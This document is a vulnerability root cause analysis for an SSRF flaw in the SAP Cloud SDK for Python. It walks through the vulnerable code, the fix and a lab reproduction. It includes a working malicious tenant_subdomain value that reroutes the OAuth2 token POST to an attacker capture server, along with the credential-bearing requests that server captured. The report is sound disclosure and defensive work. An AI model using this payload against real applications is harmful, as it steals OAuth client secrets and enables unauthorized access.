# CVE-2026-89111 — Root Cause Analysis

## Summary
SAP Cloud SDK for Python (`sap-cloud-sdk` on PyPI) contains an OAuth2
server-side request forgery (SSRF) vulnerability in its multi-tenant token
handling. When a caller supplies a `tenant_subdomain`, the SDK derives the
per-tenant OAuth2 token URL by performing an unvalidated string replacement of
the provider identity zone inside the configured token URL
(`token_url.replace(identityzone, tenant_subdomain)`). An attacker who controls
`tenant_subdomain` can therefore rewrite the token endpoint host to an
attacker-controlled server, causing the SDK to POST the OAuth2
`client_id`/`client_secret` to the attacker — credential exfiltration.

## Impact
- Package/component: `sap-cloud-sdk` (PyPI), `sap_cloud_sdk.destination._http.TokenProvider.get_token()`
  (the same pattern was also fixed in `sap_cloud_sdk/dms/_auth.py` and
  `sap_cloud_sdk/agentgateway/agw_client.py`).
- Affected versions: `< 0.45.2`; patched in `0.45.2`.
- Risk: Critical (CVSS 10.0, `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`,
  CWE-918). Consequences: theft of OAuth2 client credentials for the BTP
  Destination/DMS/Agent-Gateway service bindings, enabling downstream
  unauthorized access within the client's roles and scopes.

## Impact Parity
- Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential
  exfiltration to an attacker-controlled server.
- Reproduced impact from this run: full SSRF with credential exfiltration —
  the vulnerable SDK (0.45.1) sent a live `POST` containing
  `client_id` and `client_secret` to the attacker-controlled HTTPS server and
  accepted the attacker-issued access token.
- Parity: **full**.
- Not demonstrated: none beyond the claim (no code execution is claimed or
  required; the impact class is SSRF / credential disclosure).

## Root Cause
In `sap_cloud_sdk/destination/_http.py` (vulnerable 0.45.1),
`TokenProvider.get_token()` contains:

```python
if tenant_subdomain:
    try:
        token_url = token_url.replace(str(identityzone), tenant_subdomain)
    except Exception:
        token_url = self._config.token_url
```

`tenant_subdomain` is concatenated into the URL **without any validation**.
With a configured provider token URL such as
`https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token`
(`identityzone = "provider-zone"`), an attacker value of
`127.0.0.1:<port>/capture?` produces
`https://127.0.0.1:<port>/capture?.authentication.eu10.hana.ondemand.com/oauth/token`
— the host becomes the attacker's server and the remainder of the legitimate
URL is demoted into the query string. The subsequent
`OAuth2Session.fetch_token()` then POSTs
`grant_type=client_credentials&client_id=...&client_secret=...` to the
attacker.

The same unvalidated `replace()` pattern existed in
`sap_cloud_sdk/dms/_auth.py::_resolve_token_url()` and the agent-gateway
client's tenant subdomain handling.

Fix (0.45.2): a new module `sap_cloud_sdk/core/_tenant.py` adds
`_validate_tenant_subdomain()`, which enforces a single RFC 1123 DNS label
(`^[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?$`) and raises `ValueError`
before any URL substitution, in all three affected call sites.
Advisory: GHSA-4mv3-jxxm-9cx2
(<https://github.com/SAP/cloud-sdk-python/security/advisories/GHSA-4mv3-jxxm-9cx2>).

## Reproduction Steps
1. `bundle/repro/reproduction_steps.sh` (helpers:
   `bundle/repro/attacker_server.py`, `bundle/repro/harness.py`).
2. The script:
   - downloads the pinned PyPI wheels `sap-cloud-sdk==0.45.1` (vulnerable) and
     `sap-cloud-sdk==0.45.2` (fixed) and records their SHA-256;
   - creates a venv and installs the vulnerable wheel with its real
     dependency tree;
   - starts an attacker-controlled HTTPS capture server
     (`attacker_server.py`, self-signed cert trusted via `REQUESTS_CA_BUNDLE`)
     that logs every inbound request and answers with a valid token response;
   - runs `harness.py`, which calls the real
     `TokenProvider.get_token(tenant_subdomain="127.0.0.1:<port>/capture?")`;
   - verifies the captured request contains the client credentials;
   - force-reinstalls 0.45.2 and repeats: the fixed SDK must raise
     `ValueError: Invalid tenant_subdomain` and send nothing.
3. Expected evidence: `proof_vuln_capture.jsonl` contains a POST whose body
   includes `client_secret=TOP-SECRET-CLIENT-SECRET`, and the vulnerable
   harness returns `ATTACKER_ISSUED_TOKEN`; the fixed harness reports
   `rejected` and `proof_fixed_capture.jsonl` is empty.

## Evidence
- `bundle/logs/reproduction_steps.log` — full run transcript.
- `bundle/logs/proof_vuln_capture.jsonl` — attacker-server capture of the
  credential-bearing POST, e.g.:
  `POST /capture?.authentication.eu10.hana.ondemand.com/oauth/token`
  with body
  `grant_type=client_credentials&client_id=sb-destination-client%21t0&client_secret=TOP-SECRET-CLIENT-SECRET`
  (Host: `127.0.0.1:<port>` — attacker server, not the SAP endpoint).
- `bundle/logs/harness_vuln_result.json` —
  `{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}`.
- `bundle/logs/harness_fixed_result.json` —
  `{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:<port>/capture?'"}`.
- `bundle/logs/proof_fixed_capture.jsonl` — empty (no outbound request).
- `bundle/repro/runtime_manifest.json` — entrypoint, target identity
  (wheel SHA-256), and per-artifact SHA-256 hashes.
- Environment: Python 3.14 venv, real `sap-cloud-sdk` wheels from PyPI,
  OpenSSL 3.5.5 self-signed cert for the attacker HTTPS endpoint.

## Recommendations / Next Steps
- Upgrade to `sap-cloud-sdk >= 0.45.2` (and prefer a currently validated
  release; independent reporting noted validation gaps in 0.53.0–0.55.0 with
  validation restored in 0.55.1).
- The 0.45.2 fix approach (RFC 1123 label validation before substitution) is
  correct; defense-in-depth would additionally rebuild the URL by replacing
  only the hostname subcomponent instead of a free-text `str.replace` over the
  whole URL.
- Applications should validate `tenant_subdomain` against an allowlist of
  registered tenants and monitor/alert on outbound token requests to
  unexpected hosts; rotate credentials suspected of exposure.

## Additional Notes
- Idempotency: the script reuses its venv/wheels/certs when present and
  re-verifies versions each run; it was executed twice consecutively, both
  runs `RESULT: CONFIRMED` (exit 0).
- The lab uses `https://127.0.0.1:<port>` as the attacker host with a
  self-signed cert trusted only inside the test process
  (`REQUESTS_CA_BUNDLE`), keeping the OAuth2 transport HTTPS exactly as in
  production (oauthlib enforces HTTPS; no security feature was disabled).
- The vulnerable surface is a library API (`claimed_surface=library_api`,
  `entrypoint_kind=function_call`), so a direct call into the real installed
  SDK is the production code path; no mock or reimplementation is used.
